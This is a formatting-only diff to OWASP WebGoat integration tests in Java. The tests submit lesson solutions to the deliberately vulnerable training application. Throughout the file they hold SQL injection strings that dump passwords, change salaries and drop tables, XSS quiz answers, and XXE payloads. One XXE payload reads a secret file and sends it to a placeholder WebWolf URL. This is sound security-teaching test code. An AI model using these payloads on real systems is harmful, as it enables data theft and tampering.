List<? extends Callable<Response>> flagCalls = IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
|
List<? extends Callable<Response>> flagCalls =
|
||||||
|
IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
|
||||||
var responses = executorService.invokeAll(flagCalls);
|
var responses = executorService.invokeAll(flagCalls);
|
||||||
|
|
||||||
// A certain amount of parallel calls should fail as optimistic locking in DB is applied
|
// A certain amount of parallel calls should fail as optimistic locking in DB is applied
|
||||||
long countStatusCode500 = responses.stream().filter(r -> {
|
long countStatusCode500 =
|
||||||
|
responses.stream()
|
||||||
|
.filter(
|
||||||
|
r -> {
|
||||||
try {
|
try {
|
||||||
// System.err.println(r.get().getStatusCode());
|
// System.err.println(r.get().getStatusCode());
|
||||||
return r.get().getStatusCode() != 200;
|
return r.get().getStatusCode() != 200;
|
||||||
@ -46,8 +48,10 @@ public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
|
|||||||
// System.err.println(e);
|
// System.err.println(e);
|
||||||
throw new IllegalStateException(e);
|
throw new IllegalStateException(e);
|
||||||
}
|
}
|
||||||
}).count();
|
})
|
||||||
|
.count();
|
||||||
System.err.println("counted status 500: " + countStatusCode500);
|
System.err.println("counted status 500: " + countStatusCode500);
|
||||||
Assertions.assertThat(countStatusCode500).isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS/NUMBER_OF_PARALLEL_THREADS)));
|
Assertions.assertThat(countStatusCode500)
|
||||||
|
.isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS / NUMBER_OF_PARALLEL_THREADS)));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -3,7 +3,6 @@ package org.owasp.webgoat;
|
|||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
public class SSRFIntegrationTest extends IntegrationTest {
|
public class SSRFIntegrationTest extends IntegrationTest {
|
||||||
@ -23,8 +22,5 @@ public class SSRFIntegrationTest extends IntegrationTest {
|
|||||||
checkAssignment(url("/WebGoat/SSRF/task2"), params, true);
|
checkAssignment(url("/WebGoat/SSRF/task2"), params, true);
|
||||||
|
|
||||||
checkResults("/SSRF/");
|
checkResults("/SSRF/");
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -24,24 +24,22 @@
|
|||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
*
|
|
||||||
* @author Angel Olle Blazquez
|
* @author Angel Olle Blazquez
|
||||||
*
|
|
||||||
*/
|
*/
|
||||||
|
|
||||||
class SessionManagementIT extends IntegrationTest {
|
class SessionManagementIT extends IntegrationTest {
|
||||||
|
|
||||||
private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login";
|
private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login";
|
||||||
|
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
void hijackSessionTest() {
|
void hijackSessionTest() {
|
||||||
startLesson("HijackSession");
|
startLesson("HijackSession");
|
||||||
|
|
||||||
checkAssignment(url(HIJACK_LOGIN_CONTEXT_PATH), Map.of("username", "webgoat", "password", "webgoat"), false);
|
checkAssignment(
|
||||||
|
url(HIJACK_LOGIN_CONTEXT_PATH),
|
||||||
|
Map.of("username", "webgoat", "password", "webgoat"),
|
||||||
|
false);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -2,7 +2,6 @@ package org.owasp.webgoat;
|
|||||||
|
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
|
public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
|
||||||
@ -29,7 +28,10 @@ public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
|
|||||||
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
|
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
|
||||||
|
|
||||||
params.clear();
|
params.clear();
|
||||||
params.put("userid_6a", "Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from user_system_data --");
|
params.put(
|
||||||
|
"userid_6a",
|
||||||
|
"Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from"
|
||||||
|
+ " user_system_data --");
|
||||||
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
|
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
|
||||||
|
|
||||||
params.clear();
|
params.clear();
|
||||||
@ -37,11 +39,21 @@ public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
|
|||||||
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6b"), params, true);
|
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6b"), params, true);
|
||||||
|
|
||||||
params.clear();
|
params.clear();
|
||||||
params.put("question_0_solution", "Solution 4: A statement has got values instead of a prepared statement");
|
params.put(
|
||||||
|
"question_0_solution",
|
||||||
|
"Solution 4: A statement has got values instead of a prepared statement");
|
||||||
params.put("question_1_solution", "Solution 3: ?");
|
params.put("question_1_solution", "Solution 3: ?");
|
||||||
params.put("question_2_solution", "Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way.");
|
params.put(
|
||||||
params.put("question_3_solution", "Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data.");
|
"question_2_solution",
|
||||||
params.put("question_4_solution", "Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
|
"Solution 2: Prepared statements are compiled once by the database management system"
|
||||||
|
+ " waiting for input and are pre-compiled this way.");
|
||||||
|
params.put(
|
||||||
|
"question_3_solution",
|
||||||
|
"Solution 3: Placeholders can prevent that the users input gets attached to the SQL query"
|
||||||
|
+ " resulting in a seperation of code and data.");
|
||||||
|
params.put(
|
||||||
|
"question_4_solution",
|
||||||
|
"Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
|
||||||
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/quiz"), params, true);
|
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/quiz"), params, true);
|
||||||
|
|
||||||
checkResults("/SqlInjectionAdvanced/");
|
checkResults("/SqlInjectionAdvanced/");
|
||||||
|
@ -2,13 +2,13 @@ package org.owasp.webgoat;
|
|||||||
|
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
|
public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
|
||||||
|
|
||||||
public static final String sql_2 = "select department from employees where last_name='Franco'";
|
public static final String sql_2 = "select department from employees where last_name='Franco'";
|
||||||
public static final String sql_3 = "update employees set department='Sales' where last_name='Barnett'";
|
public static final String sql_3 =
|
||||||
|
"update employees set department='Sales' where last_name='Barnett'";
|
||||||
public static final String sql_4_drop = "alter table employees drop column phone";
|
public static final String sql_4_drop = "alter table employees drop column phone";
|
||||||
public static final String sql_4_add = "alter table employees add column phone varchar(20)";
|
public static final String sql_4_add = "alter table employees add column phone varchar(20)";
|
||||||
public static final String sql_5 = "grant select on grant_rights to unauthorized_user";
|
public static final String sql_5 = "grant select on grant_rights to unauthorized_user";
|
||||||
@ -22,7 +22,8 @@ public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
|
|||||||
public static final String sql_11_b = "3SL99A' or '1'='1";
|
public static final String sql_11_b = "3SL99A' or '1'='1";
|
||||||
|
|
||||||
public static final String sql_12_a = "Smith";
|
public static final String sql_12_a = "Smith";
|
||||||
public static final String sql_12_b = "3SL99A' ; update employees set salary= '100000' where last_name='Smith";
|
public static final String sql_12_b =
|
||||||
|
"3SL99A' ; update employees set salary= '100000' where last_name='Smith";
|
||||||
|
|
||||||
public static final String sql_13 = "%update% '; drop table access_log ; --'";
|
public static final String sql_13 = "%update% '; drop table access_log ; --'";
|
||||||
|
|
||||||
@ -73,6 +74,5 @@ public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
|
|||||||
checkAssignment(url("/WebGoat/SqlInjection/attack10"), params, true);
|
checkAssignment(url("/WebGoat/SqlInjection/attack10"), params, true);
|
||||||
|
|
||||||
checkResults("/SqlInjection/");
|
checkResults("/SqlInjection/");
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -1,15 +1,13 @@
|
|||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
|
import static org.hamcrest.CoreMatchers.containsString;
|
||||||
|
|
||||||
import io.restassured.RestAssured;
|
import io.restassured.RestAssured;
|
||||||
import io.restassured.http.ContentType;
|
import io.restassured.http.ContentType;
|
||||||
|
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
import static org.hamcrest.CoreMatchers.containsString;
|
|
||||||
|
|
||||||
public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
|
public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
@ -27,39 +25,56 @@ public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
|
|||||||
params.put("field7", "prep.setString(2,\\\"\\\")");
|
params.put("field7", "prep.setString(2,\\\"\\\")");
|
||||||
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10a"), params, true);
|
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10a"), params, true);
|
||||||
|
|
||||||
params.put("editor", "try {\r\n" +
|
params.put(
|
||||||
" Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n" +
|
"editor",
|
||||||
" PreparedStatement prep = conn.prepareStatement(\"select id from users where name = ?\");\r\n" +
|
"try {\r\n"
|
||||||
" prep.setString(1,\"me\");\r\n" +
|
+ " Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n"
|
||||||
" prep.execute();\r\n" +
|
+ " PreparedStatement prep = conn.prepareStatement(\"select id from users where name"
|
||||||
" System.out.println(conn); //should output 'null'\r\n" +
|
+ " = ?\");\r\n"
|
||||||
"} catch (Exception e) {\r\n" +
|
+ " prep.setString(1,\"me\");\r\n"
|
||||||
" System.out.println(\"Oops. Something went wrong!\");\r\n" +
|
+ " prep.execute();\r\n"
|
||||||
"}");
|
+ " System.out.println(conn); //should output 'null'\r\n"
|
||||||
|
+ "} catch (Exception e) {\r\n"
|
||||||
|
+ " System.out.println(\"Oops. Something went wrong!\");\r\n"
|
||||||
|
+ "}");
|
||||||
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10b"), params, true);
|
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10b"), params, true);
|
||||||
|
|
||||||
params.clear();
|
params.clear();
|
||||||
params.put("userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
|
params.put(
|
||||||
|
"userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
|
||||||
checkAssignment(url("/WebGoat/SqlOnlyInputValidation/attack"), params, true);
|
checkAssignment(url("/WebGoat/SqlOnlyInputValidation/attack"), params, true);
|
||||||
|
|
||||||
params.clear();
|
params.clear();
|
||||||
params.put("userid_sql_only_input_validation_on_keywords", "Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
|
params.put(
|
||||||
|
"userid_sql_only_input_validation_on_keywords",
|
||||||
|
"Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
|
||||||
checkAssignment(url("/WebGoat/SqlOnlyInputValidationOnKeywords/attack"), params, true);
|
checkAssignment(url("/WebGoat/SqlOnlyInputValidationOnKeywords/attack"), params, true);
|
||||||
|
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
.when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
|
.when()
|
||||||
|
.relaxedHTTPSValidation()
|
||||||
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.contentType(ContentType.JSON)
|
.contentType(ContentType.JSON)
|
||||||
.get(url("/WebGoat/SqlInjectionMitigations/servers?column=(case when (true) then hostname else id end)"))
|
.get(
|
||||||
|
url(
|
||||||
|
"/WebGoat/SqlInjectionMitigations/servers?column=(case when (true) then hostname"
|
||||||
|
+ " else id end)"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200);
|
.statusCode(200);
|
||||||
|
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
.when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
|
.when()
|
||||||
|
.relaxedHTTPSValidation()
|
||||||
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.contentType(ContentType.JSON)
|
.contentType(ContentType.JSON)
|
||||||
.get(url("/WebGoat/SqlInjectionMitigations/servers?column=unknown"))
|
.get(url("/WebGoat/SqlInjectionMitigations/servers?column=unknown"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(500)
|
.statusCode(500)
|
||||||
.body("trace", containsString("select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by"));
|
.body(
|
||||||
|
"trace",
|
||||||
|
containsString(
|
||||||
|
"select id, hostname, ip, mac, status, description from SERVERS where status <>"
|
||||||
|
+ " 'out of order' order by"));
|
||||||
|
|
||||||
params.clear();
|
params.clear();
|
||||||
params.put("ip", "104.130.219.202");
|
params.put("ip", "104.130.219.202");
|
||||||
|
@ -2,14 +2,12 @@ package org.owasp.webgoat;
|
|||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||||
|
|
||||||
|
import io.restassured.RestAssured;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
import io.restassured.RestAssured;
|
|
||||||
|
|
||||||
public class WebWolfIntegrationTest extends IntegrationTest {
|
public class WebWolfIntegrationTest extends IntegrationTest {
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
@ -22,16 +20,23 @@ public class WebWolfIntegrationTest extends IntegrationTest {
|
|||||||
params.put("email", this.getUser() + "@webgoat.org");
|
params.put("email", this.getUser() + "@webgoat.org");
|
||||||
checkAssignment(url("/WebGoat/WebWolf/mail/send"), params, false);
|
checkAssignment(url("/WebGoat/WebWolf/mail/send"), params, false);
|
||||||
|
|
||||||
String responseBody = RestAssured.given()
|
String responseBody =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||||
.get(webWolfUrl("/WebWolf/mail"))
|
.get(webWolfUrl("/WebWolf/mail"))
|
||||||
.then()
|
.then()
|
||||||
.extract().response().getBody().asString();
|
.extract()
|
||||||
|
.response()
|
||||||
|
.getBody()
|
||||||
|
.asString();
|
||||||
|
|
||||||
String uniqueCode = responseBody.replace("%20", " ");
|
String uniqueCode = responseBody.replace("%20", " ");
|
||||||
uniqueCode = uniqueCode.substring(21+uniqueCode.lastIndexOf("your unique code is: "),uniqueCode.lastIndexOf("your unique code is: ")+(21+ this.getUser().length()));
|
uniqueCode =
|
||||||
|
uniqueCode.substring(
|
||||||
|
21 + uniqueCode.lastIndexOf("your unique code is: "),
|
||||||
|
uniqueCode.lastIndexOf("your unique code is: ") + (21 + this.getUser().length()));
|
||||||
params.clear();
|
params.clear();
|
||||||
params.put("uniqueCode", uniqueCode);
|
params.put("uniqueCode", uniqueCode);
|
||||||
checkAssignment(url("/WebGoat/WebWolf/mail"), params, true);
|
checkAssignment(url("/WebGoat/WebWolf/mail"), params, true);
|
||||||
@ -53,20 +58,22 @@ public class WebWolfIntegrationTest extends IntegrationTest {
|
|||||||
.get(webWolfUrl("/landing"))
|
.get(webWolfUrl("/landing"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200);
|
.statusCode(200);
|
||||||
responseBody = RestAssured.given()
|
responseBody =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||||
.get(webWolfUrl("/WebWolf/requests"))
|
.get(webWolfUrl("/WebWolf/requests"))
|
||||||
.then()
|
.then()
|
||||||
.extract().response().getBody().asString();
|
.extract()
|
||||||
|
.response()
|
||||||
|
.getBody()
|
||||||
|
.asString();
|
||||||
assertTrue(responseBody.contains(uniqueCode));
|
assertTrue(responseBody.contains(uniqueCode));
|
||||||
params.clear();
|
params.clear();
|
||||||
params.put("uniqueCode", uniqueCode);
|
params.put("uniqueCode", uniqueCode);
|
||||||
checkAssignment(url("/WebGoat/WebWolf/landing"), params, true);
|
checkAssignment(url("/WebGoat/WebWolf/landing"), params, true);
|
||||||
|
|
||||||
checkResults("/WebWolf");
|
checkResults("/WebWolf");
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -1,15 +1,12 @@
|
|||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
import io.restassured.RestAssured;
|
import io.restassured.RestAssured;
|
||||||
|
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
public class XSSIntegrationTest extends IntegrationTest {
|
public class XSSIntegrationTest extends IntegrationTest {
|
||||||
|
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void crossSiteScriptingAssignments() {
|
public void crossSiteScriptingAssignments() {
|
||||||
startLesson("CrossSiteScripting");
|
startLesson("CrossSiteScripting");
|
||||||
@ -47,7 +44,8 @@ public class XSSIntegrationTest extends IntegrationTest {
|
|||||||
.post(url("/CrossSiteScripting/phone-home-xss"))
|
.post(url("/CrossSiteScripting/phone-home-xss"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("output");
|
.extract()
|
||||||
|
.path("output");
|
||||||
String secretNumber = result.substring("phoneHome Response is ".length());
|
String secretNumber = result.substring("phoneHome Response is ".length());
|
||||||
|
|
||||||
params.clear();
|
params.clear();
|
||||||
@ -55,14 +53,28 @@ public class XSSIntegrationTest extends IntegrationTest {
|
|||||||
checkAssignment(url("/CrossSiteScripting/dom-follow-up"), params, true);
|
checkAssignment(url("/CrossSiteScripting/dom-follow-up"), params, true);
|
||||||
|
|
||||||
params.clear();
|
params.clear();
|
||||||
params.put("question_0_solution", "Solution 4: No because the browser trusts the website if it is acknowledged trusted, then the browser does not know that the script is malicious.");
|
params.put(
|
||||||
params.put("question_1_solution", "Solution 3: The data is included in dynamic content that is sent to a web user without being validated for malicious content.");
|
"question_0_solution",
|
||||||
params.put("question_2_solution", "Solution 1: The script is permanently stored on the server and the victim gets the malicious script when requesting information from the server.");
|
"Solution 4: No because the browser trusts the website if it is acknowledged trusted, then"
|
||||||
params.put("question_3_solution", "Solution 2: They reflect the injected script off the web server. That occurs when input sent to the web server is part of the request.");
|
+ " the browser does not know that the script is malicious.");
|
||||||
params.put("question_4_solution", "Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that the browser executes.");
|
params.put(
|
||||||
|
"question_1_solution",
|
||||||
|
"Solution 3: The data is included in dynamic content that is sent to a web user without"
|
||||||
|
+ " being validated for malicious content.");
|
||||||
|
params.put(
|
||||||
|
"question_2_solution",
|
||||||
|
"Solution 1: The script is permanently stored on the server and the victim gets the"
|
||||||
|
+ " malicious script when requesting information from the server.");
|
||||||
|
params.put(
|
||||||
|
"question_3_solution",
|
||||||
|
"Solution 2: They reflect the injected script off the web server. That occurs when input"
|
||||||
|
+ " sent to the web server is part of the request.");
|
||||||
|
params.put(
|
||||||
|
"question_4_solution",
|
||||||
|
"Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that"
|
||||||
|
+ " the browser executes.");
|
||||||
checkAssignment(url("/CrossSiteScripting/quiz"), params, true);
|
checkAssignment(url("/CrossSiteScripting/quiz"), params, true);
|
||||||
|
|
||||||
checkResults("/CrossSiteScripting/");
|
checkResults("/CrossSiteScripting/");
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -2,23 +2,30 @@ package org.owasp.webgoat;
|
|||||||
|
|
||||||
import io.restassured.RestAssured;
|
import io.restassured.RestAssured;
|
||||||
import io.restassured.http.ContentType;
|
import io.restassured.http.ContentType;
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Path;
|
import java.nio.file.Path;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
public class XXEIntegrationTest extends IntegrationTest {
|
public class XXEIntegrationTest extends IntegrationTest {
|
||||||
|
|
||||||
private static final String xxe3 = """
|
private static final String xxe3 =
|
||||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
|
"""
|
||||||
private static final String xxe4 = """
|
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
|
||||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
|
""";
|
||||||
private static final String dtd7 = """
|
private static final String xxe4 =
|
||||||
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;""";
|
"""
|
||||||
private static final String xxe7 = """
|
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
|
||||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>""";
|
""";
|
||||||
|
private static final String dtd7 =
|
||||||
|
"""
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;
|
||||||
|
""";
|
||||||
|
private static final String xxe7 =
|
||||||
|
"""
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>
|
||||||
|
""";
|
||||||
|
|
||||||
private String webGoatHomeDirectory;
|
private String webGoatHomeDirectory;
|
||||||
private String webWolfFileServerLocation;
|
private String webWolfFileServerLocation;
|
||||||
@ -40,7 +47,11 @@ public class XXEIntegrationTest extends IntegrationTest {
|
|||||||
.statusCode(200);
|
.statusCode(200);
|
||||||
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false);
|
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false);
|
||||||
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false);
|
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false);
|
||||||
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", false);
|
checkAssignment(
|
||||||
|
url("/WebGoat/xxe/blind"),
|
||||||
|
ContentType.XML,
|
||||||
|
"<comment><text>" + getSecret() + "</text></comment>",
|
||||||
|
false);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@ -56,7 +67,8 @@ public class XXEIntegrationTest extends IntegrationTest {
|
|||||||
Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")));
|
Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")));
|
||||||
}
|
}
|
||||||
String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
|
String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
|
||||||
String dtd7String = dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
|
String dtd7String =
|
||||||
|
dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
|
||||||
|
|
||||||
// upload DTD
|
// upload DTD
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
@ -66,22 +78,33 @@ public class XXEIntegrationTest extends IntegrationTest {
|
|||||||
.multiPart("file", "blind.dtd", dtd7String.getBytes())
|
.multiPart("file", "blind.dtd", dtd7String.getBytes())
|
||||||
.post(webWolfUrl("/fileupload"))
|
.post(webWolfUrl("/fileupload"))
|
||||||
.then()
|
.then()
|
||||||
.extract().response().getBody().asString();
|
.extract()
|
||||||
|
.response()
|
||||||
|
.getBody()
|
||||||
|
.asString();
|
||||||
// upload attack
|
// upload attack
|
||||||
String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser());
|
String xxe7String =
|
||||||
|
xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser());
|
||||||
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, xxe7String, false);
|
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, xxe7String, false);
|
||||||
|
|
||||||
// read results from WebWolf
|
// read results from WebWolf
|
||||||
String result = RestAssured.given()
|
String result =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||||
.get(webWolfUrl("/WebWolf/requests"))
|
.get(webWolfUrl("/WebWolf/requests"))
|
||||||
.then()
|
.then()
|
||||||
.extract().response().getBody().asString();
|
.extract()
|
||||||
|
.response()
|
||||||
|
.getBody()
|
||||||
|
.asString();
|
||||||
result = result.replace("%20", " ");
|
result = result.replace("%20", " ");
|
||||||
if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
|
if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
|
||||||
result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("), result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
|
result =
|
||||||
|
result.substring(
|
||||||
|
result.lastIndexOf("WebGoat 8.0 rocks... ("),
|
||||||
|
result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
|
||||||
}
|
}
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
@ -93,7 +116,11 @@ public class XXEIntegrationTest extends IntegrationTest {
|
|||||||
webWolfFileServerLocation = getWebWolfFileServerLocation();
|
webWolfFileServerLocation = getWebWolfFileServerLocation();
|
||||||
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true);
|
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true);
|
||||||
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true);
|
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true);
|
||||||
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", true);
|
checkAssignment(
|
||||||
|
url("/WebGoat/xxe/blind"),
|
||||||
|
ContentType.XML,
|
||||||
|
"<comment><text>" + getSecret() + "</text></comment>",
|
||||||
|
true);
|
||||||
checkResults("xxe/");
|
checkResults("xxe/");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -27,10 +27,10 @@
|
|||||||
*/
|
*/
|
||||||
package org.owasp.webgoat.container;
|
package org.owasp.webgoat.container;
|
||||||
|
|
||||||
|
import jakarta.servlet.ServletException;
|
||||||
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
|
import jakarta.servlet.http.HttpServletResponse;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import javax.servlet.ServletException;
|
|
||||||
